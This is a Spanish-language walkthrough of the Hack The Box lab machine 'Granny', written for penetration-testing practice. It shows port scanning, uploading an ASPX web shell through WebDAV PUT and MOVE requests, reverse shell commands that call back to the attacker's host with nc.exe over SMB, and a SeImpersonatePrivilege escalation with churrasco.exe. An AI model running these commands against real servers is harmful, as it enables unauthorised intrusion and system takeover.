Granny es una máquina de dificultad Easy en la plataforma Hack The Box
En esta máquina explotaremos una vulnerabilidad Webdav que nos permitirá llevar a cabo un RFI (Remote File Inclusion)
Reconocimiento
Utilizaremos la herramienta nmap para listar los puertos abiertos en la máquina víctima:
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.15 -oG allPorts
Vemos que esta el puerto 80 abierto.
Vamos a realizar un escaneo de servicios y versiones corriendo por este puerto:
1
nmap -sCV -p80 10.10.10.15 -oN versions
Gracias al conjunto de scripts básicos de reconocimiento que aplica el escaneo, podemos ver los tipos de peticiones que se pueden realizar en el servidor, además de que en el puerto 80 se ha detectado un Webdav además de un IIS (Servidor web que maneja solicitudes HTTP y HTTPS)
Si entramos en la web no vamos a ver nada relevante, ni que podamos usar:
Explotación
Vamos a aprovechar una vulnerabilidad de Webdav que nos permite mediante curl subir archivos a la máquina víctima
Para ello vamos a intentar subir una web shell (cmdasp.aspx)
Primero copiaremos la web shell en la ruta actual
1
cp /usr/share/webshells/aspx/cmdasp.aspx ..
Posteriormente subiremos la web shell a la máquina víctima con curl:
1
curl -s -X PUT http://10.10.10.15/cmdasp.txt -d @cmdasp.aspx
Subiremos el archivo en formato
.txtya que no podremos en formato.aspx
Una vez el archivo ya subido aprovecharemos el metodo MOVE para cambiar la extensión de la web shell y poder ejecutarla:
1
curl -s -X MOVE -H "Destination:http://10.10.10.15/cmdasp.aspx" http://10.10.10.15/cmdasp.txt
Utilizaremos la cabecera
Destinationpara modificar el archivo
Ahora si accedemos al archivo tendremos una shell en la que podremos ejecutar comandos:
Para conseguir una reverse shell nos copiaremos al archivo actual el nc.exe
1
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
Utilizaremos impacket-smbserver para establecer una conexión por smb y así poder compartir el archivo nc.exe con la máquina víctima
1
impacket-smbserver smbFolder $(pwd)
Por otra parte en la web shell ejecutaremos el siguiente comando para compartirnos una shell mediante nc.exe
1
\\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 443
A su vez en nuestra máquina nos pondremos en escucha por el puerto 443
1
rlwrap nc -nlvp 443
Y como vemos habremos conseguido acceso a la máquina:
Pero no tendremos acceso a los usuarios de la máquina por lo que no podremos ver las flags
Escalada de Privilegios
Para listar los permisos del usuario ejecutaremos:
1
whoami /priv
El permiso que nos interesa es SeImpersonatePrivilege
Este permiso es único en Windows, y permite a un usuario o proceso hacerse pasar por otro usuario o proceso
Si buscamos sobre la escalada de privilegios explotando este permiso nos llevará a https://github.com/Re4son/Churrasco/raw/master/churrasco.exe y descargaremos el ejecutable churrasco.exe (xd)
Utilizando el impacket-smbserver compartiremos el ejecutable con la máquina víctima
1
impacket-smbserver smbFolder $(pwd)
En la máquina víctima nos moveremos a C:\WINDOWS\temp y en esta ruta usaremos el comando:
1
copy \\10.10.14.5\smbFolder\churrasco.exe churrasco.exe
Y una vez copiado ejecutaremos churrasco.exe
1
2
3
churrasco.exe
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
Vemos la función del ejecutable, por lo que intentaremos conseguir una shell como root, así que deberemos usar nc.exe:
1
churrasco.exe "\\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 443"
Y de nuevo nos pondremos en escucha con nc por el puerto 443:
Y ya tendremos acceso a la máquina como usuario privilegiado
Podremos ver ambas flag en el Desktop del usuario y del administrator
Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!







